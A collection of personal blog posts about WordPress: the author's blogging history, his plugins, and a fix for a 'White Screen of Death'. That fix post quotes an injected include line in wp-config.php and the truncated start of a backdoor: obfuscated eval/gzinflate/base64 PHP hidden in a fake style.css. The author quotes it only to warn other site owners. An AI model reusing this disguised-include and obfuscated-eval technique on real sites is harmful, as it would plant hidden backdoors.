So it appears I’ve been doing this blogging thing a while

Time’s a funny old thing. I was looking back over my blog and was shocked how much of it there is: 131 pages at the present time, stretching back to 3:58 pm on October 21, 2004. Actually I had been blogging since 2002 (11th July 2002, to be exact) but that particular blog was an emotional release for me at the time, so will remain incognito forever. But as if proof were needed here’s the very first thing I blogged:

Breath deeply and relax (11/07/2002)

Well now we’ve got that little lot sorted out, maybe I can start to write something.

As if I have anything to write.

(There’s a bit more to the post than that, but those were my very first words sent into the blogosphere). I think “that little lot” was a reference to the blogging system I’d just written.

Ah, you need some historical context. OK, bear with me while I wander down memory lane. Back in mid-2002 my very good friend Dave said he’d heard about this blogging lark and could we offer blogs to the good parishoners at the community site we ran (and still run, in a fashion). I said of course, and proceeded to write a system to do it. Why I didn’t look around at what other systems (ahem) were available at the time I have no idea.

Actually it was, I recall, an opportunity for me to get into some more serious PHP which I’d been dabbling in for a couple of years before that. My day job was building sites in classic ASP using VBScript, so perhaps PHP was a way to escape that world. At any rate, I embarked upon this quest with my usual gusto – and devotion to inventing new wheels. The fact I built a multi-user blogging system *without a database* shows I didn’t really know what I was doing. It’s true, the original Wiblog site was a flat-file system which used XML files to store blog posts. Hardly cutting edge, even for the time.

It’s pretty interesting to note this all happened was about a year before WordPress came into being as a fork of b2, probably around the time Donncha was working on the b2++ project which became WordPress MU. Sorry the links for that stuff are a little squiffy, Donncha’s personal site seems to be down tonight.

So in the summer of 2002 you’ll have found me either spending time with the beautiful Katharine (who is now my wife, we just celebrated our 7th wedding anniversary) or coding the Wiblog system far too late into the night. I “officially” started blogging about tech stuff on October 21st, 2004 with a post about Firefox – which, according to Wikipedia, was just before version 1.0. That makes it all the more amazing that I wrote:

On the auspicious occasion of my company disabling web access for Internet Destroyer Explorer and instead promoting the use of Mozilla Firefox I thought I’d finally start the techy blog I’ve been threatening people for ages about.

Reading stuff like that makes me wonder if my dates are correct. I even checked the archived Wiblog site, and the date is correct. Sheesh, I must be old.

I moved the site over to WordPress, importing my geek blog post from Wiblog.com, on 23rd January 2007. That means I’d have installed (again, according to Wikipedia) version 2.0 or possibly 2.1 of WordPress. A couple of years later, on 8th November 2008, I moved all the other Wiblogs onto WordPress 2.6, onto the site we’re still using today.

So, 653 posts later, I’m still here. Blogging has been, in roughly equal parts, self-therapy and self-flagellation. Long may it continue.

WordPress White Screen of Death Woes

Damn. Just had to fix a problem on wibsite.com where nobody could see their Dashboards. There are lots of references to the White Screen of Death in WP, but none made a difference. In the end I spotted a cheeky line that had been inserted in my wp-config.php:

@require_once('../Maildir/tmp/style.css');

Whaddyaknow, that file was there, but it definitely wasn’t a CSS stylesheet:

<?php

/* ********************************************************************
*
* begin : Saturday, Feb 23, 2009
* copyright : (C) 2001 The Sequare Group
* email : support@sequare.com
*
* $Id: system,v 1.74.2.22 2005/12/30 09:51:01 acydburn Exp $
* Type - System configuration file
*
* Gallery - a web based photo album viewer and editor
* Copyright (C) 2000-2006 Bharat Mediratta

And the actual code was:

eval (gzinflate(base64_decode(
'pf1rs2XHcSQKfm6Z6T9UY2gDwBoq5vvRFCTxUpBEM4nUgNTtuUNqYCXgkCwTgEIX'
.'CiLZov777JXx8swVR7xto26SQJ5z9l6PfER4eLj/5V/8+V9+85tv/vRP/vRPvveb'
.'N9+++/h7n/3sk0//z08+/cX7f/fzn//jZ3/305/9/P1//sHjp69+/fT17cf/9Pi3'
.'z374t5/8hH/p+oj44uMX3757+9nbp2++fPX50wfv/fa3v3353kfvvffR+vGH+nsf'
.'f/VF/YD+cQ1+8frtx+/evv7qA/zr96+/fv+j99//yL2ylzb66Sf/r3/65Gc//+yf'
.'Pv3x+//8oX7i+pLHP1wDLx7/971vn97+29Pbz159/vnTN+8++/LV17/+7nFvj4v+'

Etc. Eval’d PHP? Looks like a hack to me. Removing the line from my wp-config.php file got everything back to normal. Now I’m hardening my WP, making it tougher than old boots.

If you get the White Screen of Death look carefully through your wp-config.php file for unwanted visitors.

Not all old plugins are bad plugins

Last week WPMU.org published an article entitled “What Lurks in the WordPress Plugin Repository” which waves a rather sensationalist flag about plugins which haven’t been updated in a while. Let me make one thing clear: in an ideal world all plugins would be updated regularly and would have full compatibility reports with all recent versions of WordPress. But this isn’t an ideal world.

There are plugins (in which I include my Check Email plugin) which are so simple that, barring bug-fixes, they don’t need to be updated. Some plugins touch such a small part of the WordPress system that compatibility will in all probability never be a problem. Especially if those plugins use the official APIs which – by their very definition – should very rarely change. Should we force plugin developers to bump version numbers, or even just update the version compatibility? I don’t think so.

In case anyone thinks I’m advocating allowing out-of-date plugins to continue to be used, I’m not saying that at all. However I do think that there are many plugins for which updates would be an unnecessary task for the developer to have to undertake. Remember; most plugin developers (including me) write WordPress plugins in their own time, with no financial reward. Placing extra demands on them means they will be less likely to want to continue working within the Word-o-sphere, even if those extra demands have the aim of generaring better quality plugins.

Just write

As I tweeted earlier today, I’m now running on WordPress 3.2. It is, as many people have said, gorgeous. And the full-screen mode is amazing, especially (as I believe Matt suggested) you hit F11 to get rid of the browser chrome. Just you and your words, you need nothing more.

This weekend I had the opportunity to put in a few hours on VoucherPress, my voucher/coupon plugin for WordPress. I’ve completely overhauled the code, and while (at the moment) there aren’t many new features, this overhaul will make it much easier for several thing to happen:

  1. It will make it easier to diagnose, and hopefully fix, bugs
  2. It will make it easier to add new features
  3. And it will make it easier for other people who want to get involved to understand how it all work

But I do intend to add some new features for the upcoming version 1.4 release. Most notably is a way for individual users, not just site administrators, to create and manage their vouchers. As part of that I’ll also be making it possible to put the voucher form on the front end of your site. I’m not quite sure how I’ll do that yet, but that’s the idea.

The second major feature I’ll be adding is something I’m asked about on a regular basis. At the moment the vouchers/coupons are a fixed size (about 1/3 of A4). I want to make a voucher be produced at (almost) any size. So if you want tiny PDFs for mini-vouchers, you will be able to do that. And if you want A3 sized PDF posters, you’ll be able to do that too.

This requires a re-think of the way that the templates (templates are basically just images which appear as the background of the PDF) are stored and handled. I still intend to offer a range of templates for a set of standard sizes, but if you want completely custom sizes you’ll have to produce your own template.

My idea to overcome the much larger number of standard templates is to store them in the WordPress Subversion repository to be downloaded when required by the plugin. So you’ll install the plugin with no templates, and when you choose to create a voucher and select the size you want, the thumbnails of each template will be copied to your WordPress installation so you can choose one and create your voucher. When you save your new voucher the full-resolution version of that template will be copied to your WordPress installation ready for PDF creation.

I’m not aware of any other plugins that use the WordPress Subversion repository in this way, and it amounts to free hosting for the templates. But seeing as the kind WordPress folks offer free hosting for plugins (here’s mine) I can’t imagine it will be a problem.

So, that’s the idea. When I will get chance to do all this (and overhaul my other plugins that need it) is unknown.

Jetpack, and what this means for Wibstats

The WordPress guys have recently announced their latest project, Jetpack. It’s basically a set of plugins that run on the WordPress cloud, so you get infinitely-scalable resources to back you up. One of those plugins is stats.

Now, anyone that knows me knows one of my plugins is a statistics system called Wibstats. I’m part-way through a new version with a handful of new features.

But seeing as the WordPress stats system can now be easily installed on any blog anywhere (and indeed will come as standard with WordPress installations from most of the big hosting companies), should I bother to finish and release it? Yes, yes I should.

You see, there have always been other statistics plugins, so that hasn’t changed. They have all been easy to install (gotta love the WordPress plugin architecture) and that hasn’t changed. So even though WordPress themselves are now backing a set of plugins, including statistics, there will always be people who want something different from their stats package- maybe the something different is exactly what Wibstats does.

So, in the true spirit of Open Source, I’m going to finish Wibstats and “compete” against WordPress’ Jetpack. At the very least, Wibstats is cool to me.

Finding time to finish it will be the tricky bit.